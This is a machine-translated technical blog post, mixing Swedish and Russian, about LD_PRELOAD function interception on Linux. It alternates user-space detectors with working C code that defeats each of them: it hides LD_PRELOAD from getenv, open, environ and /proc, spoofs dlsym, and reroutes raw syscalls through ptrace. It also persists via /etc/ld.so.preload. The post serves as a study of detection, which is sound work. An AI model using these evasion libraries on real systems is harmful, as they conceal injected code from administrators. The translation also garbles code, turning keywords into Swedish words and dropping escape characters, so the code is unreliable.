Letar efter LD_PRELOAD

Den här lappen skrevs 2014, men jag kom precis under förtryck av Habré och den såg inte dagens ljus. Under förbudet glömde jag det, men nu hittade jag det i utkasten. Jag funderade på att ta bort det, men det kanske är användbart för någon.

Letar efter LD_PRELOAD

I allmänhet, lite fredagsadministratörsläsning om ämnet att söka efter "ingår" LD_PRELOAD.

1. En kort utvikning för dig som inte är bekant med funktionssubstitution

Остальным можно сразу переходить к s.2.

Начнём с классического примера:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Vi kompilerar utan några flaggor:

$ gcc ./ld_rand.c -o ld_rand

Och som förväntat får vi 5 slumptal mindre än 100:

$ ./ld_rand
53
93
48
57
20

Men låt oss föreställa oss att vi inte har programmets källkod, men vi måste ändra beteendet.

Låt oss skapa vårt eget bibliotek med vår egen funktionsprototyp, till exempel:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Och nu är vårt slumpmässiga val ganska förutsägbart:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Det här tricket ser ännu mer imponerande ut om vi först exporterar vårt bibliotek via

$ export LD_PRELOAD=$PWD/ld_rand.so

или предварительно выполним

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

а затем запустим программу в обычном режиме. Мы не изменили ни строчки в коде самой программы, но её поведение теперь зависит от крошечной функции в нашей библиотеке. Более того, на момент написания программы фальшивый rand fanns inte ens.

Vad fick vårt program att använda en falsk rand? Låt oss ta det steg för steg.
Когда приложение запускается, загружаются определенные библиотеки, которые содержат функции необходимые программе. Мы можем посмотреть их используя LDD:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Этот список может быть различен в зависимости от версии OS, но там обязательно должен быть файл libc.so. Det är detta bibliotek som tillhandahåller systemanrop och grundläggande funktioner som t.ex öppet, malloc, printf и т. д. Наш rand är också bland dem. Låt oss se till detta:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Låt oss se om uppsättningen av bibliotek ändras när de används LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Det visar sig att variabeln är inställd LD_PRELOAD заставляет загрузиться нашу ld_rand.so även trots att programmet i sig inte kräver det. Och sedan vår funktion "rand" laddar tidigare än rand från libc.so, då bestämmer hon.

Ok, vi lyckades ersätta den inbyggda funktionen, men hur kan vi se till att dess funktionalitet bevaras och några åtgärder läggs till. Låt oss ändra vår slumpmässiga:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Här, som vårt ”tillägg”, skriver vi bara ut en textrad, varefter vi skapar en pekare till den ursprungliga funktionen rand. För att få adressen till denna funktion behöver vi dlsym är en funktion från biblioteket libdlsom kommer att hitta vår rand i en hög med dynamiska bibliotek. Därefter kommer vi att anropa denna funktion och returnera dess värde. Följaktligen kommer vi att behöva lägga till "-ldl" under montering:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

Och vårt program använder "native" rand, efter att tidigare ha utfört några obscena handlingar.

2. Smärtan av att söka

När vi vet om ett potentiellt hot vill vi upptäcka det förbelastning Den utfördes. Det är klart att det bästa sättet att upptäcka är att trycka in det i kärnan, men jag var intresserad av detekteringsalternativen i användarutrymmet.

Därefter kommer lösningar för detektion och deras motbevisning i par.

2.1. Начнём с простого

Som nämnts tidigare kan du ange vilket bibliotek som ska laddas med hjälp av variabeln LD_PRELOAD или прописав её в файле /etc/ld.so.preload. Создадим два простейших детектора.

Первый — для проверки установленной переменной окружения:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Den andra är att kontrollera om filen är öppen:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Подгрузим библиотеки:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Här och nedan indikerar [+] framgångsrik upptäckt.
Följaktligen betyder [-] förbikoppling av detektering.

Насколько же действенен такой обнаружитель? Сначала займёмся переменной окружения:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Аналогично избавляемся и от проверки öppet:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Да, здесь могут быть использованы другие способы доступа к файлу, такие как, open64, stat etc., men i själva verket behövs samma 5-10 rader kod för att lura dem.

2.2. Låt oss gå vidare

Ovan använde vi getenv() för att få värdet LD_PRELOAD, но есть же и более «низкоуровневый» способ добраться до ENV-variabler. Vi kommer inte att använda mellanfunktioner utan hänvisar till arrayen **miljö, som lagrar en kopia av miljön:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Так как здесь мы читаем данные напрямую из памяти, то такой вызов нельзя перехватить, и наш undetect_getenv уже не мешает определить вторжение.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Det verkar som att detta problem är löst? Det har fortfarande bara börjat.

Efter att programmet har startat, värdet på variabeln LD_PRELOAD hackare behöver det inte längre i minnet, det vill säga de kan läsa det och ta bort det innan de utför några instruktioner. Naturligtvis är att redigera en array i minnet åtminstone en dålig programmeringsstil, men hur kan detta stoppa någon som inte verkligen önskar oss väl ändå?

För att göra detta måste vi skapa vår egen falska funktion i det(), där vi fångar upp de installerade LD_PRELOAD и передать её нашему компоновщику:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Vi utför och kontrollerar:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Однако, память — это не последнее место, где можно обнаружить подмену LD_PRELOAD, det finns också / proc /. Låt oss börja med det uppenbara /proc/{PID}/environ.

Det finns faktiskt en universell lösning för oupptäcka **miljö и /proc/self/environ. Проблема заключается в «неправильном» поведении unsetenv(env).

rätt alternativ

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Men låt oss föreställa oss att vi inte hittade det och /proc/self/environ innehåller "problematisk" data.

Låt oss först försöka med vår tidigare "förklädnad":

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

hur använder samma för att öppna filen öppna(), så lösningen liknar det som redan gjordes i avsnitt 2.1, men nu skapar vi en temporär fil där vi kopierar värdena för det sanna minnet utan rader som innehåller LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Och detta stadium har passerats:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Nästa självklara plats är /proc/self/maps. Задерживаться на нем нет смысла. Решение абсолютно идентичное предыдущему: копируем данные из файла за вычетом строк между libc.so и ld.så.

2.4. Вариант от Chokepoint

Это решение мне особенно понравилось своей простотой. Сравниваем адреса функций, загружаемых непосредственно из libc, och "NEXT"-adresser.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Laddar biblioteket med avlyssning "öppen()" и проверяем:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Motbevisningen visade sig vara ännu enklare:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Syscalls

Det verkar som att det här är allt, men vi kommer fortfarande att fnörda. Om vi ​​riktar systemanropet direkt till kärnan kommer detta att kringgå hela avlyssningsprocessen. Lösningen nedan är naturligtvis arkitekturberoende (x86_64). Låt oss försöka implementera det för att upptäcka en öppning ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Och det här problemet har en lösning. Utdrag ur människa'A:

ptrace är ett verktyg som gör att en överordnad process kan observera och kontrollera framstegen för en annan process, visa och ändra dess data och register. Vanligtvis används denna funktion för att skapa brytpunkter i ett felsökningsprogram och övervaka systemanrop.

Родительский процесс может начать трассировку, сначала вызвав функцию fork(2), а затем получившийся дочерний процесс может выполнить PTRACE_TRACEME, за которым (обычно) следует выполнение exec(3). С другой стороны, родительский процесс может начать отладку существующего процесса при помощи PTRACE_ATTACH.

При трассировке дочерний процесс останавливается каждый раз при получении сигнала, даже если этот сигнал игнорируется. (Исключением является SIGKILL, работающий обычным образом.) Родительский процесс будет уведомлен об этом при вызове wait(2), после которого он может просматривать и изменять содержимое дочернего процесса до его запуска. После этого родительский процесс разрешает дочернему продолжать работу, в некоторых случаях игнорируя посылаемый ему сигнал или отправляя вместо этого другой сигнал).

Тем самым, решение заключается в том, чтобы отслеживать процесс, останавливая его перед каждым системным вызовом и, при необходимости, перенаправлять поток в функцию ловушки.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Vi kontrollerar:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Tack så mycket

Charles Hubain
choke punkt
ValdikSS
Philippe Teuwen
derhass

, vars artiklar, källor och kommentarer gjorde mycket mer än jag gjorde för att få denna anteckning att visas här.

Källa: will.com

Lägg en kommentar